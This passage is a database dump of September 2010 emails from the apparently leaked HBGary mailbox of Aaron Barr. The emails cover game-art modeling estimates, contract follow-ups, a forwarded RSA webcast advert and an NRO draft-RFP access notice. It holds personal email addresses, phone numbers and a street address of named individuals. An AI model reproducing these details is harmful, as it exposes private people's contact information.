<greg@hbgary.com>','/aaron@hbgary.com/new/1297008935.M346029P14101Q6863.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','modeling speed, update',' \r\nAaron, Bob, Martin,\r\n \r\nI got a response from Mikiya.  He thinks that we can reach the output speed we are looking for (see below).\r\n \r\nAlso, I heard back from John Ransom regarding the modeling speed question (see below).  BTW, John will be at the office starting on Wednesday.\r\n \r\n-- Mikiya&#39;s response --&gt;\r\nHello Greg,\r\nI understand your concern and here is what I have in mind.\r\nIt&#39;s possible to do one model/day after we average them out. The very first model of each category will take longer, possibly 2-3 days, since I have to start from scratch. For the rest of it I will re-use the elements to save time in modeling and unwrapping UVs.\r\n\r\nFor example, we have 50 buildings to do. The first 5 buildings will take around 3 days each to complete (total 15 days for first 5). The rest will use the same model bases and I only need to apply different textures/parts  which I can probably do 2-3 buildings per day. So let&#39;s just say the rest 45 buildings will take 25 days, we&#39;ve got 15 days (first 5 bld.) + 25 days (another 45 bld.) = 40 days for 50 buildings.\r\n\r\nI hope I can explain it well enough. Also, I&#39;m going to organize the work flow schedule so you can see the better picture of how it&#39;s gonna work.\r\nThank you,Mikiya\r\n \r\n \r\n-- John&#39;s response --&gt;\r\n \r\nI talked to my friend Keith Bullen who is a lead game artist. He said the modeling for a character is about 2 days and the texturing for that character is another 2 days. The texturing is very important to get right so the character looks right so there is a lot of fine tuning in this stage.\r\n It is about 1 day to rig the character for animation. Each animation is about half a day for a nice walk cycle but most animations take less than that.\r\nTo model and texture something like a house is about 1 day. I asked him if there is anything else you might need to know. He said it is important to have a well fleshed out design plan at the start of the project otherwise the artist will end up having to redo his work effectively doubleing the time it takes to make his models.\r\n He said he would be happy to help out if we have any more questions.\r\n',15778,'aaron_hbgary_com/15778.html'),(12009,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008935.M603737P14101Q6864.eml','\"Penny Leavy\" <penny@hbgary.com>','Cyber Accelerator','Any word?\r\n\r\nAaron',13031,'aaron_hbgary_com/13031.html'),(12010,'2010-09-20','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297008935.M813952P14101Q6865.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Gatorbiat','Aaron:\r\n\r\nNot yet.  How about a call at 1PM?\r\n\r\nCharlie\r\n\r\n\r\nOn Sep 20, 2010, at 8:26 AM, Aaron Barr wrote:\r\n\r\n> Hey Charlie,\r\n>\r\n> Have you done it at all yet?\r\n>\r\n> Lets get on today if you have some time.   I am flying to Cincinnati  \r\n> tomorrow morning for a few days.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 16, 2010, at 2:47 PM, Charlie Scuilla wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> I thought that we were going to chat - on facetime?\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> On Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n>>\r\n>>> Hey Charlie,\r\n>>>\r\n>>> More to follow next week.  I met with Bob Frisbie, my old boss,  \r\n>>> who now runs Mantechs work for that organization.  I have signed  \r\n>>> an NDA with them.  I also mentioned to Bob that you guys were  \r\n>>> interested as well.  He said he was still working on putting  \r\n>>> together \"the team\" and was looking for people that could  \r\n>>> contribute.  I don\'t know exactly what that means, but I will ask  \r\n>>> him again when I see him next week in our follow up meeting.\r\n>>>\r\n>>> I talked to GD on the phone, they are also interested to talk to  \r\n>>> us, we have a standing relationship with Jim Jaeger and his group,  \r\n>>> but I haven\'t heard anything else from him yet.  I think Mantech  \r\n>>> has potentially the strongest offering going into this, besides  \r\n>>> maybe Harris/Crucial.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>>>\r\n>>>> Aaron:\r\n>>>>\r\n>>>> How did the meeting with Mantech go?\r\n>>>>\r\n>>>> Charlie\r\n>>>>\r\n>>>>\r\n>>>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> I have a meeting with Mantech early next month.  Forget about  \r\n>>>>> Northrop, the lead for this does not have the capability, this  \r\n>>>>> is not Xetron but another part of Northrop that has a  \r\n>>>>> contentious relationship with Xetron so they will likely not  \r\n>>>>> team well internally.  I have reached out to GD to find out what  \r\n>>>>> their position is.  Interesting I know Wayne Chunn from way back  \r\n>>>>> when he was with Scitor, I don\'t know his new company though.   \r\n>>>>> Everyone else doesn\'t excite me.  Mandiant certainly has some  \r\n>>>>> forensics capability, don\'t know how many cleared people they  \r\n>>>>> have etc.  CACI I don\'t know much about.  MacB has some  \r\n>>>>> capability certainly, we have some contacts there, they are  \r\n>>>>> mostly focused in San Antonio.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>>>\r\n>>>>>> Sorry it t\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> \r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>\r\n\r\n',6004,'aaron_hbgary_com/6004.html'),(12011,'2010-09-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008936.M74856P14101Q6866.eml','aaron@hbgary.com','Fwd: Featured Webcast: Abusing and Leveraging Intelligence from Social Media','\r\n---------- Forwarded message ----------From: RSA Conference &lt;rsa@info.rsa.com&gt;Date: Mon, Sep 20, 2010 at 7:16 AM\r\nSubject: Featured Webcast: Abusing and Leveraging Intelligence from Social MediaTo: greg@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email online | Forward to a friend\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLearn about how social media is the next complex target for criminal groups and governments. Your private information is at risk! \r\nWe&#39;ll discuss:\r\n\r\n\r\n\r\n•\r\nHacking the Psyche: Remote behavior analysis that can be used to construct personality profiles to predict current and future psychological states of targeted individuals, including discussions on how emotional and subconscious states can be discovered even before the target is consciously aware.\r\n\r\n\r\n•\r\nTechniques on how individuals may be remotely influenced by messaging tactics, and how criminal groups and governments may use this capability, including a case study of Twitter and the recent terror attacks in Bombay.\r\n\r\n\r\n•\r\nReconnaissance and pillage of private information, including subliminal data that can be measured by way of influence, link, and sentiment analysis that the victim may not be aware of revealing.\r\n\r\n\r\n•\r\nThe amplified implications of platform vulnerabilities in social applications\r\n\r\n•\r\nStriking back: Initiating the privacy arms race, including a discussion of the AntiSocial Firefox plugin.\r\n\r\n \r\n\r\n\r\n\r\nNitesh Dhanjani, Senior Manager, Ernst &amp; Young LLPAuthor of &quot;Hacking: The Next Generation&quot;, &quot;Network Security Tools: Writing, \r\n\r\n\r\nHacking, and Modifying Security Tools&quot;, and &quot;HackNotes: Linux and Unix Security (Osborne McGraw-Hill)&quot;. Nitesh Dhanjani is Senior Manager at Ernst &amp; Young, where he advises some of the largest corporations around the world on how to establish enterprise-wide information security programs and solutions.\r\n\r\n\r\n\r\nStay connected               \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEVENT:\r\nPsychotronica: Abusing and Leveraging Intelligence from Social Media with Nitesh Dhanjani, Ernest &amp; Young LLP\r\n\r\nDATE:\r\nWednesday, September 22nd\r\n\r\nTIME:\r\n10:00 a.m. PDT / 1:00 p.m. EDT / 6:00 p.m. GMT\r\n\r\nLOCATION:\r\nWebcast\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n© 2010 EMC Corporation. All rights reserved.\r\n\r\n\r\n\r\n\r\n\r\nTo opt out of receiving emails from RSA Conference, click here.\r\nTo view the RSA Conference privacy policy, click here.\r\nRSA, the RSA logo and the RSA Conference logo are either registered trademarks or trademarks of EMC Corporation in the United States and/or other countries. All other products and services mentioned are trademarks of their respective companies. \r\n\r\nThis is a promotional email from Responsys on behalf of RSA Security LLC., 174 Middlesex Turnpike, Bedford, MA 01730 \r\n',13180,'aaron_hbgary_com/13180.html'),(12012,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008949.M99643P14101Q6867.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: HBGary BlackHat Talk','I think I may have sent you an early version of the PPT.  here is a complete version. :)\r\n\r\nAaron\r\n\r\n',12788,'aaron_hbgary_com/12788.html'),(12013,'2010-09-20','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297008950.M203320P14101Q6868.eml','bob@hbgary.com,aaron@hbgary.com,martin@hbgary.com,shawn@hbgary.com','game related email',' \r\nHey all,\r\nI have gunwalegames.com registered and have full google apps purchased.  This is my game related email address.\r\n \r\n-Greg\r\n',3229,'aaron_hbgary_com/3229.html'),(12014,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008950.M485886P14101Q6869.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Featured Webcast: Abusing and Leveraging Intelligence from Social Media','Hmmmm.... this is what I do.On Sep 20, 2010, at 10:22 AM, Greg Hoglund wrote:\r\n---------- Forwarded message ----------From: RSA Conference &lt;rsa@info.rsa.com&gt;Date: Mon, Sep 20, 2010 at 7:16 AM\r\nSubject: Featured Webcast: Abusing and Leveraging Intelligence from Social MediaTo: greg@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email online&nbsp;|&nbsp;Forward to a friend\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLearn about how social media is the next complex target for criminal groups and governments. Your private information is at risk! \r\nWe\'ll discuss:\r\n\r\n\r\n\r\n•\r\nHacking the Psyche: Remote behavior analysis that can be used to construct personality profiles to predict current and future psychological states of targeted individuals, including discussions on how emotional and subconscious states can be discovered even before the target is consciously aware.\r\n\r\n\r\n•\r\nTechniques on how individuals may be remotely influenced by messaging tactics, and how criminal groups and governments may use this capability, including a case study of Twitter and the recent terror attacks in Bombay.\r\n\r\n\r\n•\r\nReconnaissance and pillage of private information, including subliminal data that can be measured by way of influence, link, and sentiment analysis that the victim may not be aware of revealing.\r\n\r\n\r\n•\r\nThe amplified implications of platform vulnerabilities in social applications\r\n\r\n•\r\nStriking back: Initiating the privacy arms race, including a discussion of the AntiSocial Firefox plugin.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNitesh Dhanjani, Senior Manager, Ernst &amp; Young LLPAuthor of \"Hacking: The Next Generation\", \"Network Security Tools: Writing, \r\n\r\n\r\nHacking, and Modifying Security Tools\", and \"HackNotes: Linux and Unix Security (Osborne McGraw-Hill)\". Nitesh Dhanjani is Senior Manager at Ernst &amp; Young, where he advises some of the largest corporations around the world on how to establish enterprise-wide information security programs and solutions.\r\n\r\n\r\nStay connected&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEVENT:\r\nPsychotronica: Abusing and Leveraging Intelligence from Social Media with Nitesh Dhanjani, Ernest &amp; Young LLP\r\n\r\nDATE:\r\nWednesday, September 22nd\r\n\r\nTIME:\r\n10:00 a.m. PDT / 1:00 p.m. EDT / 6:00 p.m. GMT\r\n\r\nLOCATION:\r\nWebcast\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n© 2010 EMC Corporation. All rights reserved.\r\n\r\n\r\n\r\n\r\nTo opt out of receiving emails from RSA Conference, click here.\r\nTo view the RSA Conference privacy policy, click here.RSA, the RSA logo and the RSA Conference logo are either registered trademarks or trademarks of EMC Corporation in the United States and/or other countries. All other products and services mentioned are trademarks of their respective companies. This is a promotional email from Responsys on behalf of RSA Security LLC., 174 Middlesex Turnpike, Bedford, MA 01730 \r\n',14999,'aaron_hbgary_com/14999.html'),(12015,'2010-09-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008950.M686002P14101Q6870.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Accelerator','What is this?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 7:19 AM\r\nTo: Penny Leavy\r\nSubject: Cyber Accelerator\r\n\r\nAny word?\r\n\r\nAaron\r\n\r\n',3114,'aaron_hbgary_com/3114.html'),(12016,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008950.M923067P14101Q6871.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Cyber Accelerator','Ray owen work.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 10:31 AM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> What is this?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 7:19 AM\r\n> To: Penny Leavy\r\n> Subject: Cyber Accelerator\r\n>\r\n> Any word?\r\n>\r\n> Aaron\r\n>\r\n',8837,'aaron_hbgary_com/8837.html'),(12017,'2010-09-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008951.M143289P14101Q6872.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Accelerator','Yeap I did get the PO which is for the integration work and some time of\r\nGreg\'s for security consulting on ideas they have.  I have one question to\r\nthem and am awaiting a response.  But the PO is in hand:)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 7:36 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Cyber Accelerator\r\n\r\nRay owen work.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 10:31 AM, \"Penny Leavy-Hoglund\" \r\nwrote:\r\n\r\n> What is this?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 7:19 AM\r\n> To: Penny Leavy\r\n> Subject: Cyber Accelerator\r\n>\r\n> Any word?\r\n>\r\n> Aaron\r\n>\r\n\r\n',6880,'aaron_hbgary_com/6880.html'),(12018,'2010-09-20','greg@gunwalegames.com','/aaron@hbgary.com/new/1297008951.M347608P14101Q6873.eml','aaron@hbgary.com','Character Types, Building Types','\r\n\r\nI\'ve shared some items with you\r\nMessage from greg@gunwalegames.com:\r\n\r\nClick to open:\r\nCharacter Types Building Types\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2911,'aaron_hbgary_com/2911.html'),(12019,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008951.M611654P14101Q6874.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Accelerator','Sent from my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: September 20, 2010 10:44:57 AM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Cyber Accelerator\r\nYeap I did get the PO which is for the integration work and some time ofGreg&#39;s for security consulting on ideas they have.  I have one question to\r\nthem and am awaiting a response.  But the PO is in hand:)-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 7:36 AMTo: Penny Leavy-HoglundSubject: Re: Cyber AcceleratorRay owen work.Sent from my iPhone\r\nOn Sep 20, 2010, at 10:31 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;wrote:\r\nWhat is this?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, September 20, 2010 7:19 AMTo: Penny LeavySubject: Cyber Accelerator\r\nAny word?Aaron\r\n\r\n',7642,'aaron_hbgary_com/7642.html'),(12020,'2010-09-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008951.M845235P14101Q6875.eml','all@hbgary.com','FW: Promo - Video','\r\n\r\n\r\n\r\n\r\nPromo - Video\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is a video of one of our OEM companies, we are included\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Chris Coulter\r\n[mailto:chris.coulter@SkoutForensics.com] \r\nSent: Friday, September 17, 2010 3:41 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Promo - Video\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nPenny, \r\n\r\nPlease let me know your thoughts of our Promo Video for the Collection Kits,\r\n&nbsp;http://www.youtube.com/watch?v=dPk-9rsPx2M\r\nIf you would like us to not say or to include anything additional in regards to\r\nFDPro please let me know. I think we did a good job of highlighting how great\r\nFDPro is, no?\r\n\r\nThanks again Penny hope you have a great weekend!\r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16538,'aaron_hbgary_com/16538.html'),(12021,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008952.M328461P14101Q6877.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Cyber Accelerator','Great!  What is the PoP and what is the value to HBG Fed?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 10:44 AM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> Yeap I did get the PO which is for the integration work and some time of\r\n> Greg\'s for security consulting on ideas they have.  I have one question to\r\n> them and am awaiting a response.  But the PO is in hand:)\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 7:36 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Cyber Accelerator\r\n>\r\n> Ray owen work.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 20, 2010, at 10:31 AM, \"Penny Leavy-Hoglund\" \r\n> wrote:\r\n>\r\n>> What is this?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, September 20, 2010 7:19 AM\r\n>> To: Penny Leavy\r\n>> Subject: Cyber Accelerator\r\n>>\r\n>> Any word?\r\n>>\r\n>> Aaron\r\n>>\r\n>\r\n',241,'aaron_hbgary_com/241.html'),(12022,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008952.M560003P14101Q6878.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Featured Webcast: Abusing and Leveraging Intelligence from Social Media','Yeah.  I have a podcast on Wednesday, a few presentations lined up and webexs.Sent from my iPhoneOn Sep 20, 2010, at 10:57 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nThey are moving in on your territory man - you better get busy !\r\n \r\n-Greg\r\nOn Mon, Sep 20, 2010 at 7:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHmmmm.... this is what I do. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 20, 2010, at 10:22 AM, Greg Hoglund wrote:\r\n\r\n---------- Forwarded message ----------From: RSA Conference &lt;rsa@info.rsa.com&gt;\r\n\r\nDate: Mon, Sep 20, 2010 at 7:16 AMSubject: Featured Webcast: Abusing and Leveraging Intelligence from Social MediaTo: greg@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email online | Forward to a friend\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLearn about how social media is the next complex target for criminal groups and governments. Your private information is at risk! \r\nWe&#39;ll discuss:\r\n\r\n\r\n\r\n•\r\nHacking the Psyche: Remote behavior analysis that can be used to construct personality profiles to predict current and future psychological states of targeted individuals, including discussions on how emotional and subconscious states can be discovered even before the target is consciously aware.\r\n\r\n\r\n\r\n•\r\nTechniques on how individuals may be remotely influenced by messaging tactics, and how criminal groups and governments may use this capability, including a case study of Twitter and the recent terror attacks in Bombay.\r\n\r\n\r\n\r\n•\r\nReconnaissance and pillage of private information, including subliminal data that can be measured by way of influence, link, and sentiment analysis that the victim may not be aware of revealing.\r\n\r\n\r\n\r\n•\r\nThe amplified implications of platform vulnerabilities in social applications\r\n\r\n•\r\nStriking back: Initiating the privacy arms race, including a discussion of the AntiSocial Firefox plugin.\r\n\r\n \r\n\r\n\r\n\r\nNitesh Dhanjani, Senior Manager, Ernst &amp; Young LLPAuthor of &quot;Hacking: The Next Generation&quot;, &quot;Network Security Tools: Writing, \r\n\r\n\r\nHacking, and Modifying Security Tools&quot;, and &quot;HackNotes: Linux and Unix Security (Osborne McGraw-Hill)&quot;. Nitesh Dhanjani is Senior Manager at Ernst &amp; Young, where he advises some of the largest corporations around the world on how to establish enterprise-wide information security programs and solutions.\r\n\r\n\r\n\r\n\r\nStay connected               \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEVENT:\r\nPsychotronica: Abusing and Leveraging Intelligence from Social Media with Nitesh Dhanjani, Ernest &amp; Young LLP\r\n\r\nDATE:\r\nWednesday, September 22nd\r\n\r\nTIME:\r\n10:00 a.m. PDT / 1:00 p.m. EDT / 6:00 p.m. GMT\r\n\r\nLOCATION:\r\nWebcast\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n© 2010 EMC Corporation. All rights reserved.\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo opt out of receiving emails from RSA Conference, click here.\r\n\r\nTo view the RSA Conference privacy policy, click here.\r\nRSA, the RSA logo and the RSA Conference logo are either registered trademarks or trademarks of EMC Corporation in the United States and/or other countries. All other products and services mentioned are trademarks of their respective companies. \r\n\r\n\r\nThis is a promotional email from Responsys on behalf of RSA Security LLC., 174 Middlesex Turnpike, Bedford, MA 01730 \r\n\r\n\r\n\r\n',6479,'aaron_hbgary_com/6479.html'),(12023,'2010-09-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008952.M64968P14101Q6876.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Featured Webcast: Abusing and Leveraging Intelligence from Social Media','They are moving in on your territory man - you better get busy !\r\n \r\n-Greg\r\nOn Mon, Sep 20, 2010 at 7:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHmmmm.... this is what I do. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 20, 2010, at 10:22 AM, Greg Hoglund wrote:\r\n\r\n---------- Forwarded message ----------From: RSA Conference &lt;rsa@info.rsa.com&gt;\r\nDate: Mon, Sep 20, 2010 at 7:16 AMSubject: Featured Webcast: Abusing and Leveraging Intelligence from Social MediaTo: greg@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email online | Forward to a friend\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLearn about how social media is the next complex target for criminal groups and governments. Your private information is at risk! \r\nWe&#39;ll discuss:\r\n\r\n\r\n\r\n•\r\nHacking the Psyche: Remote behavior analysis that can be used to construct personality profiles to predict current and future psychological states of targeted individuals, including discussions on how emotional and subconscious states can be discovered even before the target is consciously aware.\r\n\r\n\r\n•\r\nTechniques on how individuals may be remotely influenced by messaging tactics, and how criminal groups and governments may use this capability, including a case study of Twitter and the recent terror attacks in Bombay.\r\n\r\n\r\n•\r\nReconnaissance and pillage of private information, including subliminal data that can be measured by way of influence, link, and sentiment analysis that the victim may not be aware of revealing.\r\n\r\n\r\n•\r\nThe amplified implications of platform vulnerabilities in social applications\r\n\r\n•\r\nStriking back: Initiating the privacy arms race, including a discussion of the AntiSocial Firefox plugin.\r\n\r\n \r\n\r\n\r\n\r\nNitesh Dhanjani, Senior Manager, Ernst &amp; Young LLPAuthor of &quot;Hacking: The Next Generation&quot;, &quot;Network Security Tools: Writing, \r\n\r\n\r\nHacking, and Modifying Security Tools&quot;, and &quot;HackNotes: Linux and Unix Security (Osborne McGraw-Hill)&quot;. Nitesh Dhanjani is Senior Manager at Ernst &amp; Young, where he advises some of the largest corporations around the world on how to establish enterprise-wide information security programs and solutions.\r\n\r\n\r\n\r\nStay connected               \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEVENT:\r\nPsychotronica: Abusing and Leveraging Intelligence from Social Media with Nitesh Dhanjani, Ernest &amp; Young LLP\r\n\r\nDATE:\r\nWednesday, September 22nd\r\n\r\nTIME:\r\n10:00 a.m. PDT / 1:00 p.m. EDT / 6:00 p.m. GMT\r\n\r\nLOCATION:\r\nWebcast\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n© 2010 EMC Corporation. All rights reserved.\r\n\r\n\r\n\r\n\r\n\r\nTo opt out of receiving emails from RSA Conference, click here.\r\nTo view the RSA Conference privacy policy, click here.\r\nRSA, the RSA logo and the RSA Conference logo are either registered trademarks or trademarks of EMC Corporation in the United States and/or other countries. All other products and services mentioned are trademarks of their respective companies. \r\n\r\nThis is a promotional email from Responsys on behalf of RSA Security LLC., 174 Middlesex Turnpike, Bedford, MA 01730 \r\n\r\n',8755,'aaron_hbgary_com/8755.html'),(12024,'2010-09-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008956.M350111P14101Q6879.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','maybe you can sell this old proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nContent starts on page 3&#8230;&#8230;. This was a SBIR\r\nPhase I that was not awarded.&nbsp; The goal was to produce visualization of a\r\nrunning binary. Turns out the customer gave only 1 Phase I award and it went to\r\nAnita&#8217;s company who had pretty pictures and had it pre-sold.&nbsp;\r\nBesides, the customer wanted analysis of source code, not binaries.&nbsp; But\r\nfor malware, binary analysis is the right approach.&nbsp; Hey, why didn&#8217;t\r\nI pull this out for the DARPA proposal?&nbsp; This paper is not written to our\r\nhighest standards, but it may have useful content for something.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1933,'aaron_hbgary_com/1933.html'),(12025,'2010-09-20','arc@westfields.net','/aaron@hbgary.com/new/1297008958.M744503P14101Q6880.eml','federal@hbgary.com','SE / Graystone Draft RFP document posting','\r\nA Draft Request For Proposal (RFP) has been posted or updated on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the 